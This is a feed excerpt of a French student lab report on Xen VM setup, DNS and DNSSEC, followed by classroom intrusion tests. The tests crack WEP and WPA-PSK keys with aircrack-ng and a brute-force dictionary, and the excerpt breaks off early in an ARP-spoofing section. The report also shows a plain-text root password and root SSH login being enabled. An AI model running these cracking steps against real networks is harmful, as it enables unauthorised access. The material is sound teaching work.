  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DNS_L%C3%A9na.PNG&amp;diff=53871</id>
		<title>Fichier:DNS Léna.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DNS_L%C3%A9na.PNG&amp;diff=53871"/>
				<updated>2020-11-17T13:11:36Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=53870</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=53870"/>
				<updated>2020-11-17T12:57:43Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
   www     IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
